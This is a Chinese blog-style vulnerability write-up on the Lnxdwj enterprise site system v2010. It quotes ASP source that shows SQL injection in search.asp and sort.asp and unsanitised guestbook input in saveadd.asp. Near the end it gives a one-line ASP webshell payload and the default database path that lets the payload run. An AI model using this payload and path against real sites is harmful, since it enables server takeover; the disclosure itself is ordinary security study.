浅析Lnxdwj企业全站v2010漏洞
作者:求知者
学脚本有一段时间,哎,没有人教!只能靠自己理解。所以进度有点慢。
在很多黑友的博客中及杂志上都有分析脚本程序的文章,而自己代码有点看得懂了,于是心痒了,
马上跑到百度搜索网站源码在cnzz.cn下了个Lnxdwj企业全站 v2010 慢慢看了起来!
由于没有经验,因此就看先黑箱测试!在本地打开如图1红红火火的看这挺舒服的
废话不多说了此程序出现多处漏洞
1.search.asp 搜索注入漏洞
2.saveadd.asp留言本跨站漏洞能插入一句话木马
3.sort.asp 注入漏洞
4..应该还有很多我没发现呵呵
------------------------------------------------------------------------------------
下面是search.asp文件中出现注入的代码
----------------
word=trim(request("word")) //只过滤了两边的空格就放到数据库中查询了
sql="select * from news where" // 同时也存在跨站
sql=sql&" title&content like %"&word&"% order by id desc"
------------------------------------------------------------------------------------------------
下面是留言版中saveadd.asp文件中的部分代码
--------------------
set rs=server.createobject("adodb.recordset")
sql="select * from book"
rs.open sql,conn,1,3
rs.addnew
if request("bookname")="" then //只过滤了名字不能为空
response.write "<script language=javascript>" & chr(13)
response.write "alert(用户名不可以为空!);" & Chr(13)
response.write "javascript:onclick=history.go(-1)"&Chr(13)
response.write "</script>" & Chr(13)
response.end
end if
if request("bookphone")="" then //只过滤了名字不能为空
response.write "<script language=javascript>" & chr(13)
response.write "alert(电话号码不可以为空!);" & Chr(13)
response.write "javascript:onclick=history.go(-1)"&Chr(13)
response.write "</script>" & Chr(13)
response.end
end if
if request("bookemail")="" then //只过滤了名字不能为空
response.write "<script language=javascript>" & chr(13)
response.write "alert(Email地址不可以为空!);" & Chr(13)
response.write "javascript:onclick=history.go(-1)"&Chr(13)
response.write "</script>" & Chr(13)
response.end
end if
if request("bookmesage")="" then //只过滤了留言不能为空
response.write "<script language=javascript>" & chr(13)
response.write "alert(留言内容不可以为空!);" & Chr(13)
response.write "javascript:onclick=history.go(-1)"&Chr(13)
response.write "</script>" & Chr(13)
response.end
end if
bookname=request.form("bookname")
rs("bookname")=bookname
bookphone=request.form("bookphone")
if not isnumeric(bookphone) then //检查bookphone是否为数字
response.write "<script language=javascript>" & chr(13)
response.write "alert(电话号码必须是数字!);" & Chr(13)
response.write "javascript:onclick=history.go(-1)"&Chr(13)
response.write "</script>" & Chr(13)
response.end
end if
rs("bookphone")=bookphone
bookemail=request.form("bookemail")
if Instr(bookemail,"@")=0 or Instr(bookemail,".")=0 then
response.write "<script language=javascript>" & chr(13)
response.write "alert(Email地址不正确!);" & Chr(13)
response.write "javascript:onclick=history.go(-1)"&Chr(13)
response.write "</script>" & Chr(13)
response.end
end if
rs("bookemail")=bookemail
bookmesage=request.form("bookmesage")
if len(bookmesage)>255 then //留言内容**为255
response.write "<script language=javascript>" & chr(13)
response.write "alert(留言内容太长了!请长话短说);" & Chr(13)
response.write "javascript:onclick=history.go(-1)"&Chr(13)
response.write "</script>" & Chr(13)
response.end
end if
bookmesage=replace(bookmesage,vbcrlf,"<br>")
rs("bookmesage")=bookmesage
rs.update
response.write "<script language=javascript>" & chr(13)
response.write "alert(添加留言成功!);" & Chr(13)
response.write "window.document.location.href=book.asp;"&Chr(13)
response.write "</script>" & Chr(13)
在姓名处或内容处输入<%execute request("value")%>就在数据库中插入了一句话木马了
而他的默认数据库路径是data/#lnxdwj.asp
如图2
-------------------------------------------------------------------------------------------------
下面是sort.asp 文件的部分代码
------------
dy=request("bigclassid") //获取bigclassid的值给dy
if dy<>"" then //只判断dy不等于空就放入数据库查询了
Set rs=Server.CreateObject("ADODB.RecordSet")
sqlid="select * from bigclass where bigclassid="&dy
rs.Open sqlid,conn,1,3
bt=rs("bigclassname")
end if
----------------------------------------
第一次写这样的文章有什么写的不好之处请见谅
要是有分析错的地方恳请指正因为我还是菜鸟